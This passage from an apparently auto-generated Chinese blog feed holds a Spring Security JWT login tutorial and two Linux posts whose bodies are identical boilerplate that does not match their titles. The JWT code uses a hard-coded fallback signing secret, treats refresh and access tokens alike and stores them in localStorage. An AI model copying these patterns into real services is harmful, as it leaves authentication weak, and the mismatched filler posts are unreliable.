class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-security<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.jsonwebtoken<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jjwt<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.12.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="JWT-工具类"><a href="#JWT-工具类" class="headerlink" title="JWT 工具类"></a>JWT 工具类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtUtil</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;jwt.secret:mySecretKey&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String secret;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;jwt.expiration:86400000&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> expiration;  <span class="comment">// 24小时</span></span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;jwt.refresh-expiration:604800000&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> refreshExpiration;  <span class="comment">// 7天</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> SecretKey <span class="title function_">getSigningKey</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Keys.hmacShaKeyFor(secret.getBytes(StandardCharsets.UTF_8));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">generateToken</span><span class="params">(UserDetails userDetails)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> generateToken(<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(), userDetails, expiration);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">generateRefreshToken</span><span class="params">(UserDetails userDetails)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> generateToken(<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(), userDetails, refreshExpiration);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">generateToken</span><span class="params">(Map&lt;String, Object&gt; claims, UserDetails userDetails, <span class="type">long</span> exp)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Jwts.builder()</span><br><span class="line">            .claims(claims)</span><br><span class="line">            .subject(userDetails.getUsername())</span><br><span class="line">            .issuedAt(<span class="keyword">new</span> <span class="title class_">Date</span>())</span><br><span class="line">            .expiration(<span class="keyword">new</span> <span class="title class_">Date</span>(System.currentTimeMillis() + exp))</span><br><span class="line">            .signWith(getSigningKey())</span><br><span class="line">            .compact();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">extractUsername</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> extractClaim(token, Claims::getSubject);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> &lt;T&gt; T <span class="title function_">extractClaim</span><span class="params">(String token, Function&lt;Claims, T&gt; claimsResolver)</span> &#123;</span><br><span class="line">        <span class="type">Claims</span> <span class="variable">claims</span> <span class="operator">=</span> extractAllClaims(token);</span><br><span class="line">        <span class="keyword">return</span> claimsResolver.apply(claims);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isTokenValid</span><span class="params">(String token, UserDetails userDetails)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> extractUsername(token);</span><br><span class="line">        <span class="keyword">return</span> username.equals(userDetails.getUsername()) &amp;&amp; !isTokenExpired(token);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="title function_">isTokenExpired</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> extractClaim(token, Claims::getExpiration).before(<span class="keyword">new</span> <span class="title class_">Date</span>());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> Claims <span class="title function_">extractAllClaims</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Jwts.parser()</span><br><span class="line">            .verifyWith(getSigningKey())</span><br><span class="line">            .build()</span><br><span class="line">            .parseSignedClaims(token)</span><br><span class="line">            .getPayload();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="安全配置"><a href="#安全配置" class="headerlink" title="安全配置"></a>安全配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableWebSecurity</span></span><br><span class="line"><span class="meta">@EnableMethodSecurity</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SecurityConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JwtAuthenticationFilter jwtAuthFilter;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CustomUserDetailsService userDetailsService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> SecurityFilterChain <span class="title function_">filterChain</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        http</span><br><span class="line">            .csrf(csrf -&gt; csrf.disable())</span><br><span class="line">            .sessionManagement(session -&gt; </span><br><span class="line">                session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))</span><br><span class="line">            .authorizeHttpRequests(auth -&gt; auth</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/api/auth/**&quot;</span>).permitAll()</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/api/public/**&quot;</span>).permitAll()</span><br><span class="line">                .anyRequest().authenticated()</span><br><span class="line">            )</span><br><span class="line">            .authenticationProvider(authenticationProvider())</span><br><span class="line">            .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> http.build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> AuthenticationProvider <span class="title function_">authenticationProvider</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">DaoAuthenticationProvider</span> <span class="variable">provider</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DaoAuthenticationProvider</span>();</span><br><span class="line">        provider.setUserDetailsService(userDetailsService);</span><br><span class="line">        provider.setPasswordEncoder(passwordEncoder());</span><br><span class="line">        <span class="keyword">return</span> provider;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> AuthenticationManager <span class="title function_">authenticationManager</span><span class="params">(AuthenticationConfiguration config)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> config.getAuthenticationManager();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> PasswordEncoder <span class="title function_">passwordEncoder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">BCryptPasswordEncoder</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="JWT-认证过滤器"><a href="#JWT-认证过滤器" class="headerlink" title="JWT 认证过滤器"></a>JWT 认证过滤器</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtAuthenticationFilter</span> <span class="keyword">extends</span> <span class="title class_">OncePerRequestFilter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JwtUtil jwtUtil;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CustomUserDetailsService userDetailsService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> TokenBlacklistService tokenBlacklistService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doFilterInternal</span><span class="params">(HttpServletRequest request,</span></span><br><span class="line"><span class="params">                                    HttpServletResponse response,</span></span><br><span class="line"><span class="params">                                    FilterChain filterChain)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">authHeader</span> <span class="operator">=</span> request.getHeader(<span class="string">&quot;Authorization&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (authHeader == <span class="literal">null</span> || !authHeader.startsWith(<span class="string">&quot;Bearer &quot;</span>)) &#123;</span><br><span class="line">            filterChain.doFilter(request, response);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">jwt</span> <span class="operator">=</span> authHeader.substring(<span class="number">7</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 检查黑名单</span></span><br><span class="line">        <span class="keyword">if</span> (tokenBlacklistService.isBlacklisted(jwt)) &#123;</span><br><span class="line">            filterChain.doFilter(request, response);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> jwtUtil.extractUsername(jwt);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (username != <span class="literal">null</span> &amp;&amp; SecurityContextHolder.getContext().getAuthentication() == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">UserDetails</span> <span class="variable">userDetails</span> <span class="operator">=</span> userDetailsService.loadUserByUsername(username);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (jwtUtil.isTokenValid(jwt, userDetails)) &#123;</span><br><span class="line">                <span class="type">UsernamePasswordAuthenticationToken</span> <span class="variable">authToken</span> <span class="operator">=</span></span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">UsernamePasswordAuthenticationToken</span>(</span><br><span class="line">                        userDetails, <span class="literal">null</span>, userDetails.getAuthorities());</span><br><span class="line">                authToken.setDetails(</span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">WebAuthenticationDetailsSource</span>().buildDetails(request));</span><br><span class="line">                SecurityContextHolder.getContext().setAuthentication(authToken);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        filterChain.doFilter(request, response);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="认证服务"><a href="#认证服务" class="headerlink" title="认证服务"></a>认证服务</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> AuthenticationManager authenticationManager;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JwtUtil jwtUtil;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CustomUserDetailsService userDetailsService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> TokenBlacklistService tokenBlacklistService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> TokenResponse <span class="title function_">login</span><span class="params">(LoginRequest request)</span> &#123;</span><br><span class="line">        authenticationManager.authenticate(</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">UsernamePasswordAuthenticationToken</span>(</span><br><span class="line">                request.getUsername(), request.getPassword())</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="type">UserDetails</span> <span class="variable">userDetails</span> <span class="operator">=</span> userDetailsService.loadUserByUsername(request.getUsername());</span><br><span class="line">        <span class="type">String</span> <span class="variable">accessToken</span> <span class="operator">=</span> jwtUtil.generateToken(userDetails);</span><br><span class="line">        <span class="type">String</span> <span class="variable">refreshToken</span> <span class="operator">=</span> jwtUtil.generateRefreshToken(userDetails);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> TokenResponse.builder()</span><br><span class="line">            .accessToken(accessToken)</span><br><span class="line">            .refreshToken(refreshToken)</span><br><span class="line">            .tokenType(<span class="string">&quot;Bearer&quot;</span>)</span><br><span class="line">            .expiresIn(<span class="number">86400</span>)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> TokenResponse <span class="title function_">refresh</span><span class="params">(String refreshToken)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> jwtUtil.extractUsername(refreshToken);</span><br><span class="line">        <span class="type">UserDetails</span> <span class="variable">userDetails</span> <span class="operator">=</span> userDetailsService.loadUserByUsername(username);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (!jwtUtil.isTokenValid(refreshToken, userDetails)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;Invalid refresh token&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">newAccessToken</span> <span class="operator">=</span> jwtUtil.generateToken(userDetails);</span><br><span class="line">        <span class="type">String</span> <span class="variable">newRefreshToken</span> <span class="operator">=</span> jwtUtil.generateRefreshToken(userDetails);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> TokenResponse.builder()</span><br><span class="line">            .accessToken(newAccessToken)</span><br><span class="line">            .refreshToken(newRefreshToken)</span><br><span class="line">            .tokenType(<span class="string">&quot;Bearer&quot;</span>)</span><br><span class="line">            .expiresIn(<span class="number">86400</span>)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">logout</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        tokenBlacklistService.addToBlacklist(token);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Token-黑名单（Redis）"><a href="#Token-黑名单（Redis）" class="headerlink" title="Token 黑名单（Redis）"></a>Token 黑名单（Redis）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TokenBlacklistService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redisTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">BLACKLIST_PREFIX</span> <span class="operator">=</span> <span class="string">&quot;blacklist:&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addToBlacklist</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">expiration</span> <span class="operator">=</span> getExpirationFromToken(token);</span><br><span class="line">        redisTemplate.opsForValue().set(</span><br><span class="line">            BLACKLIST_PREFIX + token, <span class="string">&quot;1&quot;</span>, expiration, TimeUnit.MILLISECONDS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isBlacklisted</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Boolean.TRUE.equals(redisTemplate.hasKey(BLACKLIST_PREFIX + token));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> <span class="title function_">getExpirationFromToken</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="comment">// 从 JWT 解析过期时间</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">86400000</span>;  <span class="comment">// 简化处理</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="控制器"><a href="#控制器" class="headerlink" title="控制器"></a>控制器</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/api/auth&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> AuthService authService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;TokenResponse&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@RequestBody</span> <span class="meta">@Valid</span> LoginRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.success(authService.login(request));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/refresh&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;TokenResponse&gt; <span class="title function_">refresh</span><span class="params">(<span class="meta">@RequestHeader(&quot;X-Refresh-Token&quot;)</span> String refreshToken)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.success(authService.refresh(refreshToken));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/logout&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">logout</span><span class="params">(<span class="meta">@RequestHeader(&quot;Authorization&quot;)</span> String authHeader)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">token</span> <span class="operator">=</span> authHeader.substring(<span class="number">7</span>);</span><br><span class="line">        authService.logout(token);</span><br><span class="line">        <span class="keyword">return</span> Result.success();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="前端使用"><a href="#前端使用" class="headerlink" title="前端使用"></a>前端使用</h2><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 登录</span></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">login</span> = <span class="keyword">async</span> (<span class="params">username, password</span>) =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="string">&#x27;/api/auth/login&#x27;</span>, &#123;</span><br><span class="line">        <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">        <span class="attr">headers</span>: &#123; <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span> &#125;,</span><br><span class="line">        <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123; username, password &#125;)</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="keyword">const</span> data = <span class="keyword">await</span> response.<span class="title function_">json</span>();</span><br><span class="line">    <span class="variable language_">localStorage</span>.<span class="title function_">setItem</span>(<span class="string">&#x27;token&#x27;</span>, data.<span class="property">data</span>.<span class="property">accessToken</span>);</span><br><span class="line">    <span class="variable language_">localStorage</span>.<span class="title function_">setItem</span>(<span class="string">&#x27;refreshToken&#x27;</span>, data.<span class="property">data</span>.<span class="property">refreshToken</span>);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 请求拦截器</span></span><br><span class="line">axios.<span class="property">interceptors</span>.<span class="property">request</span>.<span class="title function_">use</span>(<span class="function"><span class="params">config</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> token = <span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;token&#x27;</span>);</span><br><span class="line">    <span class="keyword">if</span> (token) &#123;</span><br><span class="line">        config.<span class="property">headers</span>.<span class="property">Authorization</span> = <span class="string">`Bearer <span class="subst">$&#123;token&#125;</span>`</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> config;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 响应拦截器（自动刷新）</span></span><br><span class="line">axios.<span class="property">interceptors</span>.<span class="property">response</span>.<span class="title function_">use</span>(</span><br><span class="line">    <span class="function"><span class="params">response</span> =&gt;</span> response,</span><br><span class="line">    <span class="keyword">async</span> error =&gt; &#123;</span><br><span class="line">        <span class="keyword">if</span> (error.<span class="property">response</span>.<span class="property">status</span> === <span class="number">401</span>) &#123;</span><br><span class="line">            <span class="keyword">const</span> refreshToken = <span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;refreshToken&#x27;</span>);</span><br><span class="line">            <span class="keyword">const</span> response = <span class="keyword">await</span> axios.<span class="title function_">post</span>(<span class="string">&#x27;/api/auth/refresh&#x27;</span>, <span class="literal">null</span>, &#123;</span><br><span class="line">                <span class="attr">headers</span>: &#123; <span class="string">&#x27;X-Refresh-Token&#x27;</span>: refreshToken &#125;</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="variable language_">localStorage</span>.<span class="title function_">setItem</span>(<span class="string">&#x27;token&#x27;</span>, response.<span class="property">data</span>.<span class="property">data</span>.<span class="property">accessToken</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">axios</span>(error.<span class="property">config</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(error);</span><br><span class="line">    &#125;</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>JWT 认证方案的关键点：</p><ol><li><strong>Access Token</strong>：短期有效，用于接口认证</li><li><strong>Refresh Token</strong>：长期有效，用于刷新 Access Token</li><li><strong>黑名单</strong>：登出时加入 Redis 黑名单</li><li><strong>无状态</strong>：服务端不存储会话，支持水平扩展</li></ol><p>这套方案适用于大多数前后端分离项目。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="systemd-服务管理入门"><a href="#systemd-服务管理入门" class="headerlink" title="systemd 服务管理入门"></a>systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-查看日志的几种方法"><a href="#Linux-查看日志的几种方法" class="headerlink" title="Linux 查看日志的几种方法"></a>Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringSecurity认证授权流程</title>
      <link href="//springsecurity-ren-zheng-shou-quan-liu-cheng/"/>
      <url>//springsecurity-ren-zheng-shou-quan-liu-cheng/</url>
      
